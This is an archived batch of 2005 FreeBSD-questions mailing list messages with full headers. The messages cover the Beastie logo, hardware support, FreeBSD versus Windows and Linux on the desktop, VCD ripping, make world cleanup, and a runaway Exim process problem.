owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 14:13:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CEDA316A4CE for ; Sat, 12 Feb 2005 14:13:00 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7896D43D2F for ; Sat, 12 Feb 2005 14:13:00 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so422902rnf for ; Sat, 12 Feb 2005 06:13:00 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=pIDWfnwAXllGAlqEhwEkwJ3iN+Gjrf3dYAsoWZKZj0+nxMtW8IGFeBNB/TPdSnBDBcYNnxo6paqhT05ABg6f3TnRTTwvabUuOQZSA8Jzxqo1RaWM4roSwlrqK4Hzmz/CakbiF/1dNepc5QWlPQlm45MelKLX2hUnUL8fM4mUFLk= Received: by 10.38.104.47 with SMTP id b47mr260470rnc; Sat, 12 Feb 2005 06:12:59 -0800 (PST) Received: by 10.38.101.19 with HTTP; Sat, 12 Feb 2005 06:12:59 -0800 (PST) Message-ID: Date: Sat, 12 Feb 2005 08:12:59 -0600 From: Eric Kjeldergaard To: Robert Marella In-Reply-To: <1108178611.46376.17.camel@p4> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> <1108178611.46376.17.camel@p4> cc: Jerry McAllister cc: freebsd-questions@freebsd.org Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 14:13:00 -0000 > Agreed, but have you never inherited control over a system with hardware > you did not purchase? Yup, but I've simply not gotten unsupported hardware. In the many computers I've tried, not a single piece of hardware unsupported, from network cards to raid cards, wireless and video, serial cards and etc... > Growth is a natural thing. If we have 2% of the market and we grow 5% > but the market grows 20%, we loose share. Vendors look at the market. We > need to capture a larger share to make them sit up and take notice. Right, but since the key to our advertisement is the exclusivity of who hears about us, we'd be getting the finest 2% available, and I, for one, am plenty happy with that. I'm perfectly content with the 2% that understand that closed-source, proprietary, sub-standard operating systems are inferior regardless of how large their userbase is. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 14:14:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D9DF816A4CE for ; Sat, 12 Feb 2005 14:14:36 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id 646D343D54 for ; Sat, 12 Feb 2005 14:14:36 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id j1so423033rnf for ; Sat, 12 Feb 2005 06:14:36 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=IrFHyPJN1hOHH9iKe0BuFGhNY2G3YZYi1h+oypDBu5N1SQaZiWCeitjKId+ezaeW/0nUUWVPpLUPWnKr5uBjd3A/feFpgOcdsdYh32yR7hjDT9upaoHN23eX9H8G2gVQQKtCMXO0ZZMPP+b4Ebw+VW7GDFVkulqA77sO+O3peBM= Received: by 10.38.126.55 with SMTP id y55mr286751rnc; Sat, 12 Feb 2005 06:14:35 -0800 (PST) Received: by 10.38.101.19 with HTTP; Sat, 12 Feb 2005 06:14:35 -0800 (PST) Message-ID: Date: Sat, 12 Feb 2005 08:14:35 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: <1754082257.20050212032721@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <1108168477.45718.19.camel@p4> <1754082257.20050212032721@wanadoo.fr> Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 14:14:37 -0000 On Sat, 12 Feb 2005 03:27:21 +0100, Anthony Atkielski wrote: > Eric Kjeldergaard writes: > > > Actually, I haven't. > > I have, but mainly with hardware that I would normally use only on the > desktop. I ended up connecting it to Windows instead. > > FreeBSD has good support for hardware that you'd use on a server--better > than that provided by Windows. In some cases (my IBM Thinkpad, for example) it has better support for my portable desktop system than windows also. In fact, FreeBSD is the ONLY operating system that fully supported my hardware with nothing but the install cd required. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 14:15:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D53C616A4CE for ; Sat, 12 Feb 2005 14:15:55 +0000 (GMT) Received: from t-x.dignus.nl (t-x.dignus.nl [83.219.88.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6579843D5F for ; Sat, 12 Feb 2005 14:15:55 +0000 (GMT) (envelope-from colin@kenmore.kozy-kabin.nl) Received: from localhost (localhost.dignus.nl [127.0.0.1]) by t-x.dignus.nl (Safehouse) with ESMTP id D1A742842D; Sat, 12 Feb 2005 13:23:01 +0100 (CET) Received: from kenmore.kozy-kabin.nl (cjr-home [62.251.72.148]) by t-x.dignus.nl (Safehouse) with ESMTP id 349B328421; Sat, 12 Feb 2005 13:22:53 +0100 (CET) Received: from kenmore.kozy-kabin.nl (localhost.kozy-kabin.nl [127.0.0.1]) by kenmore.kozy-kabin.nl (Postfix) with ESMTP id 2FA7C6231; Sat, 12 Feb 2005 13:22:24 +0100 (CET) Received: from localhost (colin@localhost)j1CCMN9g085871; Sat, 12 Feb 2005 13:22:24 +0100 (CET) (envelope-from colin@kenmore.kozy-kabin.nl) Date: Sat, 12 Feb 2005 13:22:23 +0100 From: "Colin J. Raven" To: patattenboerken@gmail.com In-Reply-To: <20050211034704.17082.qmail@mail.datahive.ca> Message-ID: <20050212131605.X94542@kenmore.kozy-kabin.nl> References: <20050211034704.17082.qmail@mail.datahive.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by RemSPAMd at ph230.plushosting.nl cc: freebsd-questions@freebsd.org Subject: Re: FusionPHP.net - Online Again Now!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 14:15:55 -0000 On Feb 11 at 03:47, Patattenboerken said: > > FusionPHP.NET Online Again!!! > http://www.fusionphp.net/ Errr, yes..so we notice. Welcome back to the Matrix > > Please spread the word about our website and our scripts!!! > Forward this email to 250 people and we'll pay you $5.00 US dollars > via paypal. > > Note: The paypal payment still stands, please provide us with proof you > have forwarded the email to 250 people and include your paypal email > address where we can send the money!!! > What you're suggesting is spammy. I don't doubt your good intentions, I don't doubt that php-fusion is decent software (I know it is) but *think* about what you suggested. If you're sincerely interested in spreading the word about your software there are other ways to do it. Google on "online promotion" or somesuch keyword or (set of keywords). Oh, and please wrap your text at 72 characters or so. All of that said, much success and good luck with php-fusion and its various "Infusions". Regards, -Colin -- Colin J. Raven FreeBSD 5.3-RELEASE - http://www.FreeBSD.org - There can be only One Sat Feb 12 13:21:00 CET 2005 1:21PM up 18:36, 6 users, load averages: 0.71, 0.87, 0.87 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 14:28:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 820C316A4CE for ; Sat, 12 Feb 2005 14:28:19 +0000 (GMT) Received: from parallax.alastria.net (parallax.alastria.net [84.243.240.40]) by mx1.FreeBSD.org (Postfix) with ESMTP id BB9D143D1F for ; Sat, 12 Feb 2005 14:28:18 +0000 (GMT) (envelope-from peter@alastria.net) Received: from [10.2.0.1] (shuttle.cw9.co.uk [82.152.14.18]) (authenticated bits=0)j1CESBQb043854 for ; Sat, 12 Feb 2005 14:28:11 GMT (envelope-from peter@alastria.net) Message-ID: <420E1283.9000605@alastria.net> Date: Sat, 12 Feb 2005 14:28:19 +0000 From: Peter Wood Organization: Alastria Networks User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Flag: NO X-Virus-Status: No X-Spam-Score: 0 () X-Spam-Ultra-Flag: NO X-Spam-Low-Flag: NO X-Spam-Flag: NO X-Spam-High-Flag: NO X-Scanned-By: MIMEDefang 2.42 Subject: A Dell PowerEdge SC1425 (SATA) and 5.3? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 14:28:19 -0000 Hey folks, Just a quick question, I've heard in general that fBSD works well with most Dell equipment, but does anyone know of any specific issues with the SC1425 and 5.3? I searched google and found about 18 results of no use :/. If anyone has an news, success or otherwise, please let me know :). I should have really asked this a few days ago BEFORE I ordered the server, but hey. Many thanks for any info. Cheers, Pete. -- Peter Wood BSc (Hons) :: :: Tel +44 7974 799440 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 14:36:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0FE9916A4CE; Sat, 12 Feb 2005 14:36:52 +0000 (GMT) Received: from luzifer.incubus.de (incubus.de [80.237.207.83]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8F9DF43D41; Sat, 12 Feb 2005 14:36:51 +0000 (GMT) (envelope-from mkb@incubus.de) Received: from [192.168.2.10] (pD954260D.dip.t-dialin.net [217.84.38.13]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 1A18432274; Sat, 12 Feb 2005 15:36:43 +0100 (CET) Message-ID: <420E148D.1070306@incubus.de> Date: Sat, 12 Feb 2005 15:37:01 +0100 From: Matthias Buelow User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Jeremy C. Reed" References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 14:36:52 -0000 Jeremy C. Reed wrote: > (Nevertheless, it is not time to advertise FreeBSD as a "desktop" > alternative.) This is not so much about FreeBSD, as the Unix+X11 combination in general. It does not provide the fully integrated system the typical end-user, coming from a Windows or Mac perspective, expects. That it nevertheless works well enough for persons with a technical or academical background, and those who invest some time, is not questioned. What the Unix+X11 combination in its current blend doesn't provide is the one-size-fits-all solution that Windows and the Mac try to achieve. That's both a good and a bad thing, imho. There are, of course, situations where Unix is being used as a "desktop" successfully. Think about Unix workstations at universities and larger companies, which have been prevalent for the last 15 years. Or the city administration of Munich, which intends to move its Windows desktops to a Linux/KDE-based installation. What these applications have in common is, that the desktop user is normally different from the person maintaining the installation. This is different from a SOHO setup, where both are normally identical. mkb. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 14:46:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 71E5616A4CE for ; Sat, 12 Feb 2005 14:46:56 +0000 (GMT) Received: from web51607.mail.yahoo.com (web51607.mail.yahoo.com [206.190.38.212]) by mx1.FreeBSD.org (Postfix) with SMTP id 002CE43D2D for ; Sat, 12 Feb 2005 14:46:55 +0000 (GMT) (envelope-from jay2xra@yahoo.com) Received: (qmail 14379 invoked by uid 60001); 12 Feb 2005 14:46:55 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=VKt6k/VCapbmvq6gK4WHzXPiqM89pRKy8L6Qe8iP3dSAiNz+KQ1sXGl7Nnun5aSAMi2s1NK5CX5wG2mYFWWmx6eAaWtVL/4VwhghL22mEhWMOxNB6r88NrdQsLRwXt3dX0UdDCQvVm9vDjjvGNncpVlhPg2884LHxCbJ9AsfKqY= ; Message-ID: <20050212144655.14377.qmail@web51607.mail.yahoo.com> Received: from [210.1.98.127] by web51607.mail.yahoo.com via HTTP; Sat, 12 Feb 2005 06:46:55 PST Date: Sat, 12 Feb 2005 06:46:55 -0800 (PST) From: Mark Jayson Alvarez To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Any success in extracting mpeg from a vcd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 14:46:56 -0000 Hi, Do you have any success extracting mpeg files from a vcd?For sure I can play them with mplayer with vcd option but I haven't had any luck extracting them. I've been trying to figure out how vcdgear(console) or vcdxrip(vcdimager) works but still no luck. Any idea how they work?? I'm using FreeBSD5.3. I have installed them from ports My cdrom drive is at /dev/acd0 Pleaaaasee... I'm begging you... pleaaaseee... I've tried various combinations of options with those programs I've mentioned above but I'm just too dumb that I can't figure out how I should be doing it. I know someday I may be able to comprehend with their manual, its just that I don't have enough time. If I don't return those vcd's to the shop, I will be paying a huge fine:(. Why does it always have to be this way? I was a long time windows user and I know its a tough decision to completely eradicate that entire partition dedicating it all to freebsd, just to be able to learn the "right" way how people should be using a computer. I remember one time, I have been reading the manual of ldconfig over and over again because of some program that doesn't compile not knowing where my libraries are, and I've played with various options trying to restore the hint files I've messed with only to find out that a complete reboot or just "ldconfig" alone will bring it back. I just can't get it. I've had a hard time trying to make my modem dial up to internet, and nearly freaked out trying to compile a new kernel with atapicam support, or even skipped a meal trying to learn the vi editor, and even messed really bad with one of our production servers at work trying to create a cvsup mirror, and worst, I even got a lot of awful response when I try to ask a simple question about running packet filter at openbsd's mailing list where a lot of them said "hey, this is not linux, there's no Linux-Howto's here. RTFM!" I just can't understand it. Why do people have to endure such hardships when they have other choices. What does those people from ports collection gets from maintaining such application that they barely even know if someone have ever looked at its package description. What do you get from responding to these questions. Yeah, you can laugh at me now. I'm pathetic that's it. Open Source is free and free software is good. I'm not an advocate but just a simple user trying to extract these f*ck*ng mpegs out of these damn vcds!! Tomorrow I'll be returning those vcd's to the shop with one day fine, but I won't sleep tonight till I get those mpegs written right on the very surface of my hardrive... __________________________________ Do you Yahoo!? All your favorites on one personal page – Try My Yahoo! http://my.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:00:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8BD0316A4CE for ; Sat, 12 Feb 2005 15:00:48 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id D960243D1D for ; Sat, 12 Feb 2005 15:00:47 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id C00181C000AC for ; Sat, 12 Feb 2005 16:00:46 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id 94A451C0008B for ; Sat, 12 Feb 2005 16:00:46 +0100 (CET) X-ME-UUID: 20050212150046609.94A451C0008B@mwinf1102.wanadoo.fr Date: Sat, 12 Feb 2005 16:00:46 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <27964692.20050212160046@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420E0164.7090300@wanadoo.es> References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> <1546398643.20050212123202@wanadoo.fr> <420E0164.7090300@wanadoo.es> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:00:48 -0000 Ramiro Aceves writes: > Yes, but some OSes are famous for their "blue screens" None that I'm aware of. Blue screens are more of a popular myth invented by people who hate Microsoft than a reality. I saw occasional BSODs long ago when there were driver problems or hardware problems on servers, but I haven't seen a blue screen in years now. > One day FreeBSD 5.3 completely crashed when doing something in X-window > System on an old pentium 75MHz. I've had FreeBSD hang while trying to use X servers, but I never could establish whether the OS itself had frozen or whether it was just the interface. It happened often enough that it was one of the reasons why I abandoned any attempt to use a GUI. > Sometimes I get my Debian box crashed in my 1200 MHz AMD when I watch TV > card in X-window and move windows (I do not know if it is a matter of > bttv driver or X-window System bug, but it is anoying). Notice that these both happen with GUIs. One reason is that GUIs put hooks into the operating system that destabilize it. It's a very high price to pay just to see pretty pictures on the screen, in my view. > On the other had, when I used Windows I had daily crashes :-) Every instance of daily crashes I've seen in NT-based versions of Windows has been the result of bad drivers, bad hardware, or user errors. > Cant find this on my english dictionary( I do not know what it means) Hype is exaggerated promotion without fact-based, objective justification. > I choosed Linux cause I think it was better than the windozes. It's hard to believe how this could be true for desktop use. Each time I ask for specifics, I'm given a list of things that aren't true, such as the recurring claim of "daily crashes," when in fact it's extremely rare for NT-based versions of Windows to ever crash at all. > If an OS does not have the "third party apps", it is not useful for > most of us. That alone is one reason why Windows will probably remain king for the forseeable future. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:04:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B54CB16A4CE for ; Sat, 12 Feb 2005 15:04:09 +0000 (GMT) Received: from sccmmhc91.asp.att.net (sccmmhc91.asp.att.net [204.127.203.211]) by mx1.FreeBSD.org (Postfix) with ESMTP id 632D343D1F for ; Sat, 12 Feb 2005 15:04:09 +0000 (GMT) (envelope-from david.fleck@mchsi.com) Received: from grond (12-216-8-115.client.mchsi.com[12.216.8.115]) by sccmmhc91.asp.att.net (sccmmhc91) with SMTP id <20050212150408m9100ovf80e>; Sat, 12 Feb 2005 15:04:08 +0000 Date: Sat, 12 Feb 2005 09:04:03 -0600 (CST) From: David Fleck Sender: dcf@grond.sourballs.org To: FreeBSD Questions In-Reply-To: <20050212065827.21656.qmail@web51003.mail.yahoo.com> Message-ID: <20050212090301.M94432@grond.sourballs.org> References: <20050212065827.21656.qmail@web51003.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: Re: OT sharing how,tos & articles ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:04:09 -0000 On Fri, 11 Feb 2005, faisal gillani wrote: > well i am builting a opensource softwares related site > on which i have a articals section ill use to promote > open source softwares in my reagion , so i was > thinking does the open source people allow their > documentations to be shared ? if not all then can u > recommend a site about freeBSD that will let me do so http://www.freebsd.org/ -- David Fleck From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:08:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 33BC716A4CE for ; Sat, 12 Feb 2005 15:08:10 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id A6B4F43D2F for ; Sat, 12 Feb 2005 15:08:09 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id E1DD91C00219 for ; Sat, 12 Feb 2005 16:08:07 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 4A38E1C0021E for ; Sat, 12 Feb 2005 16:07:57 +0100 (CET) X-ME-UUID: 20050212150757304.4A38E1C0021E@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 16:07:55 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <311372449.20050212160755@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420E148D.1070306@incubus.de> References: <420E148D.1070306@incubus.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:08:10 -0000 Matthias Buelow writes: > This is not so much about FreeBSD, as the Unix+X11 combination in > general. It does not provide the fully integrated system the typical > end-user, coming from a Windows or Mac perspective, expects. That it > nevertheless works well enough for persons with a technical or > academical background, and those who invest some time, is not > questioned. What the Unix+X11 combination in its current blend doesn't > provide is the one-size-fits-all solution that Windows and the Mac try > to achieve. That's both a good and a bad thing, imho. Yes. Perhaps I've not been clear, but the problems with FreeBSD as a desktop are shared by virtually all versions of UNIX, since they all create their GUIs in the same way. Mac OS X is a notable exception. > There are, of course, situations where Unix is being used as a "desktop" > successfully. Think about Unix workstations at universities and larger > companies, which have been prevalent for the last 15 years. UNIX + GUI seem to work much better when they are used as what they are: UNIX systems with GUIs. When someone tries to make them look and behave like Windows, problems begin. Highly stable GUIs have existed on UNIX workstations for years, but they barely resemble Windows. > Or the city administration of Munich, which intends to move its > Windows desktops to a Linux/KDE-based installation. Why not just burn taxpayer euro in a bonfire? It would have the same end result and it would be faster. > What these applications have in common is, that the desktop user is > normally different from the person maintaining the installation. This > is different from a SOHO setup, where both are normally identical. True, but I think other key differences are the discipline used in creating the GUI and the end result being targetet. Native UNIX GUIs are carefully written and do attempt to imitate any other OS. More recent desktop GUIs are crazy hodgepodges hastily written that amount to wannabe versions of Windows. There are a lot of people who desperately want to see UNIX as a replacement for Windows, and their desperation blinds them to the futility of their efforts and to the endless glaring defects of their attempts to achieve this. But the inadequacy of what they produce is very obvious to anyone without an emotional investment in hating Microsoft, and so these Windows clones will never gain much currency as the situation stands now. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:15:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A8C1016A4CE for ; Sat, 12 Feb 2005 15:15:52 +0000 (GMT) Received: from t-x.dignus.nl (t-x.dignus.nl [83.219.88.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5F76F43D31 for ; Sat, 12 Feb 2005 15:15:52 +0000 (GMT) (envelope-from colin@kenmore.kozy-kabin.nl) Received: from localhost (localhost.dignus.nl [127.0.0.1]) by t-x.dignus.nl (Safehouse) with ESMTP id 982B428423; Sat, 12 Feb 2005 13:15:36 +0100 (CET) Received: from kenmore.kozy-kabin.nl (cjr-home [62.251.72.148]) by t-x.dignus.nl (Safehouse) with ESMTP id F340328421; Sat, 12 Feb 2005 13:15:27 +0100 (CET) Received: from kenmore.kozy-kabin.nl (localhost.kozy-kabin.nl [127.0.0.1]) by kenmore.kozy-kabin.nl (Postfix) with ESMTP id E95BB60D7; Sat, 12 Feb 2005 13:14:58 +0100 (CET) Received: from localhost (colin@localhost)j1CCEwMw039516; Sat, 12 Feb 2005 13:14:58 +0100 (CET) (envelope-from colin@kenmore.kozy-kabin.nl) Date: Sat, 12 Feb 2005 13:14:58 +0100 From: "Colin J. Raven" To: Fafa Diliha Romanova In-Reply-To: <20050212115006.703D94BDAA@ws1-1.us4.outblaze.com> Message-ID: <20050212131101.K94542@kenmore.kozy-kabin.nl> References: <20050212115006.703D94BDAA@ws1-1.us4.outblaze.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by RemSPAMd at ph230.plushosting.nl cc: questions@freebsd.org Subject: Re: make world: HOW CLEAN IS IT? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:15:52 -0000 On Feb 12 at 06:50, Fafa Diliha Romanova launched this into the bitstream: > when i rebuild my system to stay up to date, > does it leave behind many obsolete files to clog up > my pure system? > > i am *VERY* conscious on cleanliness; > > does freebsd keep track of absolutely EVERY file > it creates? > > also, do you guys have any tips/tricks on how to do > system cleanup chores? like scripts, commands etc.? > A resource you may find to be helpful is: http://www.onlamp.com/pub/ct/13 Look for several articles on ports. There are - IIRC - three articles there which demystify the ports collection as well as some really great tips 'n tricks. Also the FreeBSD handbook is helpful when read *in conjunction* with the OnLamp articles: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ports.html Regards & HTH, -Colin -- Colin J. Raven FreeBSD 5.3-RELEASE - http://www.FreeBSD.org - There can be only One Sat Feb 12 13:14:00 CET 2005 1:14PM up 18:29, 6 users, load averages: 0.87, 0.98, 0.88 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:26:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A005F16A4CE; Sat, 12 Feb 2005 15:26:29 +0000 (GMT) Received: from priv-edtnes40.telusplanet.net (outbound05.telus.net [199.185.220.224]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1AE9243D2D; Sat, 12 Feb 2005 15:26:29 +0000 (GMT) (envelope-from aaron@daltons.ca) Received: from [137.186.198.39] by priv-edtnes40.telusplanet.net (InterMail vM.6.01.04.00 201-2131-118-20041027) with ESMTP <20050212152628.SRZJ26533.priv-edtnes40.telusplanet.net@[137.186.198.39]>; Sat, 12 Feb 2005 08:26:28 -0700 Message-ID: <420E2038.7060503@daltons.ca> Date: Sat, 12 Feb 2005 08:26:48 -0700 From: Aaron Dalton User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-ports@freebsd.org, freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Problem with Exim X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 15:26:29 -0000 Since upgrading to the latest exim (4.44?) I will occasionally notice I am not receiving mail. I will check the server (ps -ax | grep 'exim') and find that there are dozens of exim processes running (exim -bd -q30m). I will do 'exim.sh stop' but that only kills the initial process and not the others. If I manually kill all the stray processes, as soon as I start receiving mail new ones will appear. If I reboot, then everything works fine for about 24 hours then it starts to happen again. Has anybody else had this happen or does anybody know what might be causing the problem? I do run Exim with Clamav and I keep all my ports updated almost daily. Your time and assistance is greatly appreciated. Aaron From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 15:39:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 047A216A4D1 for ; Sat, 12 Feb 